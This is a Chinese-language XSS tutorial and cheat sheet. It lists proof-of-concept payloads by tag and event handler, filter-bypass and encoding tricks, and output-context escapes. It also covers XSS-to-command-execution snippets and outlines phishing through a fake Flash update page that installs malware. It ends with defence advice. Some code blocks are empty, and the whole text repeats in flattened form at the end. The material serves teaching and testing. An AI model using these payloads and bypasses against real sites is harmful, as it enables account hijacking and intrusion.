谭谈 XSS 那些世人皆知的事
字数 1309 2025-08-05 08:18:57

XSS 攻击全面指南:从基础到高级利用

1. XSS 简介

XSS (Cross Site Scripting) 跨站脚本攻击是最普遍的Web应用安全漏洞之一。攻击者能够嵌入恶意脚本代码到正常用户会访问的页面中,当用户访问该页面时,恶意代码被执行,从而达到攻击目的。

XSS 类型分类

  1. 反射型 XSS

    • 非持久化攻击
    • 需要用户点击特制链接
    • 常见于搜索页面等场景
  2. 存储型 XSS

    • 持久化攻击,代码存储在服务器中
    • 危险程度高,易造成蠕虫传播
    • 常见于留言板、个人信息等位置
  3. DOM 型 XSS

    • 基于文档对象模型(DOM)的漏洞
    • 不依赖提交数据到服务器端
    • 可能是存储型或反射型

2. XSS 常用攻击向量

2.1 常用触发标签与属性

<!-- script标签 -->
<script>alert(1);</script>

<!-- img标签 -->


<!-- input标签 -->
<input onfocus=alert(1);>
<input onblur=alert(1) autofocus><input autofocus>

<!-- details标签 -->
<details ontoggle=alert(1);>
<details open ontoggle=alert(1);>

<!-- svg标签 -->
<svg onload=alert(1);>

<!-- select标签 -->
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>

<!-- iframe标签 -->
<iframe onload=alert(1);></iframe>

<!-- video标签 -->
<video><source onerror=alert(1)>

<!-- audio标签 -->
<audio src=x onerror=alert(1);>

<!-- body标签 -->
<body onload=alert(1);>
<body onscroll=alert(1);><br><br>...<input autofocus>

<!-- textarea标签 -->
<textarea onfocus=alert(1); autofocus>

<!-- keygen标签 (仅限火狐) -->
<keygen autofocus onfocus=alert(1)>

<!-- marquee标签 -->
<marquee onstart=alert(1)></marquee>

<!-- isindex标签 (仅限IE) -->
<isindex type=image src=1 onerror=alert(1)>

2.2 JavaScript 伪协议利用

<!-- a标签 -->
<a href="javascript:alert(1);">xss</a>

<!-- iframe标签 -->
<iframe src=javascript:alert(1);></iframe>

<!-- img标签 -->


<!-- form标签 -->
<form action="Javascript:alert(1)"><input type=submit>

3. XSS 绕过技术

3.1 基本绕过技巧

  1. 空格过滤绕过

    
    
  2. 引号过滤绕过

    
    
  3. 括号过滤绕过

    
    

3.2 关键字过滤绕过

  1. 大小写绕过

    <sCRiPt>alert(1);</sCrIpT>
    
  2. 双写绕过

    <scrscriptipt>alert(1);</scrscriptipt>
    
  3. 字符串拼接

    
    
  4. 使用top对象

    <script>top["al"+"ert"](`xss`);</script>
    

4. XSS 输出点利用

4.1 不同输出场景的利用

  1. 输出在属性里

    ">
    " autofocus onfocus=alert(1)//
    
  2. 输出在HTML标签之间

    </textarea><script>alert(1)</script>
    
  3. 输出在script标签之间

    ";alert(1)//
    

5. XSS 字符编码绕过

5.1 编码类型与解码流程

  1. HTML 编码/解码

    • 十进制: &#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;
    • 十六进制: &#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29;
  2. URL 编码

    <a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>
    
  3. JavaScript 编码

    • Unicode编码: \u0061\u006C\u0065\u0072\u0074("xss")
    • 八进制编码: \141\154\145\162\164("xss")
    • 十六进制编码: \x61\x6c\x65\x72\x74("xss")

5.2 混合编码技术

<!-- HTML编码 + URL编码 -->
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>

<!-- HTML编码 + JavaScript编码 -->
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;\u0061\u006C\u0065\u0072\u0074("xss")>test</a>

6. SVG 黑魔法

<svg><script>alert("xss")</script>

SVG标签属于HTML外部元素,遵循XML解析规则,在XML解析中实体编码会自动解码,从而绕过某些过滤机制。

7. XSS 攻击面拓展

7.1 利用XSS钓鱼

  1. Flash弹窗钓鱼

    • 伪造Flash更新页面
    • 诱导用户下载恶意程序
    • 实现CS上线
  2. Cookie盗取

    <script>alert(document.cookie)</script>
    

7.2 XSS to RCE

  1. 使用WScript.Shell执行命令

    var shell = new ActiveXObject("WScript.Shell");
    shell.run("calc.exe");
    
  2. 使用child_process执行命令

    require('child_process').exec('calc');
    

7.3 实际案例:Xmind 2020 XSS漏洞


8. XSS 测试流程

  1. 初步测试

    • 尝试插入正常HTML标签
    • 测试不闭合标签
    • 测试常见XSS向量
  2. 绕过测试

    • 大小写变种
    • 双写绕过
    • 事件触发测试
  3. 高级测试

    • 不同编码方式
    • 混合编码
    • 特殊标签利用

9. 防御建议

  1. 对所有用户输入进行严格的过滤和转义
  2. 使用Content Security Policy (CSP)
  3. 设置HttpOnly标志保护Cookie
  4. 实施输入验证和输出编码
  5. 使用现代框架的安全功能

通过全面理解XSS攻击的各种技术和绕过方法,开发人员和安全工程师可以更好地防御这类漏洞,而安全研究人员则可以更有效地发现和利用它们。

XSS 攻击全面指南:从基础到高级利用 1. XSS 简介 XSS (Cross Site Scripting) 跨站脚本攻击是最普遍的Web应用安全漏洞之一。攻击者能够嵌入恶意脚本代码到正常用户会访问的页面中,当用户访问该页面时,恶意代码被执行,从而达到攻击目的。 XSS 类型分类 反射型 XSS 非持久化攻击 需要用户点击特制链接 常见于搜索页面等场景 存储型 XSS 持久化攻击,代码存储在服务器中 危险程度高,易造成蠕虫传播 常见于留言板、个人信息等位置 DOM 型 XSS 基于文档对象模型(DOM)的漏洞 不依赖提交数据到服务器端 可能是存储型或反射型 2. XSS 常用攻击向量 2.1 常用触发标签与属性 2.2 JavaScript 伪协议利用 3. XSS 绕过技术 3.1 基本绕过技巧 空格过滤绕过 引号过滤绕过 括号过滤绕过 3.2 关键字过滤绕过 大小写绕过 双写绕过 字符串拼接 使用top对象 4. XSS 输出点利用 4.1 不同输出场景的利用 输出在属性里 输出在HTML标签之间 输出在script标签之间 5. XSS 字符编码绕过 5.1 编码类型与解码流程 HTML 编码/解码 十进制: &#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41; 十六进制: &#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29; URL 编码 JavaScript 编码 Unicode编码: \u0061\u006C\u0065\u0072\u0074("xss") 八进制编码: \141\154\145\162\164("xss") 十六进制编码: \x61\x6c\x65\x72\x74("xss") 5.2 混合编码技术 6. SVG 黑魔法 SVG标签属于HTML外部元素,遵循XML解析规则,在XML解析中实体编码会自动解码,从而绕过某些过滤机制。 7. XSS 攻击面拓展 7.1 利用XSS钓鱼 Flash弹窗钓鱼 伪造Flash更新页面 诱导用户下载恶意程序 实现CS上线 Cookie盗取 7.2 XSS to RCE 使用WScript.Shell执行命令 使用child_ process执行命令 7.3 实际案例:Xmind 2020 XSS漏洞 8. XSS 测试流程 初步测试 尝试插入正常HTML标签 测试不闭合标签 测试常见XSS向量 绕过测试 大小写变种 双写绕过 事件触发测试 高级测试 不同编码方式 混合编码 特殊标签利用 9. 防御建议 对所有用户输入进行严格的过滤和转义 使用Content Security Policy (CSP) 设置HttpOnly标志保护Cookie 实施输入验证和输出编码 使用现代框架的安全功能 通过全面理解XSS攻击的各种技术和绕过方法,开发人员和安全工程师可以更好地防御这类漏洞,而安全研究人员则可以更有效地发现和利用它们。